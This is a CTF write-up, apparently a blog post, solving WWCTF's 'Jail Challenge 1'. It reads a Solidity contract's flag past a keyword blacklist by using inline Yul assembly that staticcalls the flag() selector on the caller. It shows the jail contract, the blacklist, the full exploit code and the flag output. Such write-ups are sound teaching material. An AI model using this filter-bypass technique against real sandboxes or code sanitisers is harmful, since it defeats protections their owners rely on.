I recently participated in WWCTF with my team, HackerTroupe.As usual I solve the smart contract challenges
This is my solution for the “Jail Challenge 1” blockchain challenge.
The objective is to retrieve the flag
variable from a BytecodeRunner
contract, but our input is restricted by a Solidity keyword jail.
Challenge Analysis
The challenge provides two files that define the environment.
1. The Jailer Contract (Jail.sol
)
This contract takes arbitrary bytecode, deploys it using create2
, and then executes its main()
function. The flag we need to capture is a public state variable within this contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract BytecodeRunner {
string public flag = "wwf{REDACTED}";
function run(
bytes memory _bytecode,
bytes32 _salt
) public returns (bool success, bytes memory result) {
address newContract;
assembly {
newContract := create2(0, add(_bytecode, 0x20), mload(_bytecode), _salt)
}
// ...
(success, result) = newContract.call(abi.encodeWithSelector(bytes4(keccak256("main()"))));
require(success, "Execution of main() failed.");
}
}
2. The Jail Script (JailTalk.py
)
This Python script takes our input, wraps it inside the main() function of a Solution contract, and checks our code against a blacklist of keywords. If the code is valid, it’s compiled and sent to the BytecodeRunner contract.
The key restriction is this blacklist:
blacklist = [
"flag", "transfer", "address", "this", "block", "tx",
"origin", "gas", "fallback", "receive", "selfdestruct", "suicide"
]
This prevents us from simply calling flag() or using address(this) to interact with the contract directly.
Vulnerability and Approach:
The jail only sanitizes the high-level Solidity code, not the low-level operations. We can bypass the keyword restrictions by using inline assembly (Yul).
Since flag is a public state variable, the compiler automatically generates a public getter function for it. We can calculate its function selector:
-
Function Signature: flag()
-
Selector: bytes4(keccak256(“flag()”)) which is 0x890eba68
Our plan is to:
-
Write our exploit in inline assembly within the main() function.
-
Manually construct the calldata for the flag() function using its selector.
-
Use the caller() opcode in assembly, which gives us the address of the BytecodeRunner contract that deployed our Solution contract.
-
Use staticcall to call the flag() function on the caller() and retrieve the flag’s value.
Exploit:
This is the assembly code that is pasted into the challenge’s input prompt. It makes a low-level call without using any of the blacklisted keywords.
string memory my_result;
assembly {
// Get a free memory pointer.
let ptr := mload(0x40)
// Store the 4-byte selector for "flag()" (0x890eba68) in memory.
// shl(224, selector) left-aligns the 4 bytes in a 32-byte word.
mstore(ptr, shl(224, 0x890eba68))
// Perform a staticcall to the caller (BytecodeRunner contract).
let success := staticcall(
gas(), // Forward all available gas
caller(), // The address of the BytecodeRunner contract
ptr, // Input data starts at `ptr` (our selector)
4, // Input data size is 4 bytes
ptr, // Output data will be written back to `ptr`
256 // Allocate 256 bytes for the output buffer
)
if iszero(success) {
revert(0, 0)
}
// The returned string is located at ptr + 32 bytes (offset).
// The first 32 bytes contain the length of the string.
my_result := add(ptr, 0x20)
// Update the free memory pointer to avoid memory corruption.
mstore(0x40, add(ptr, and(add(add(returndatasize(), 31), 32), not(31))))
}
return my_result;
Result:
After submitting the assembly code, the script executes it and returns the decoded string containing the flag.
[True, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00']
Flag:
wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}
– Challenge2 is coming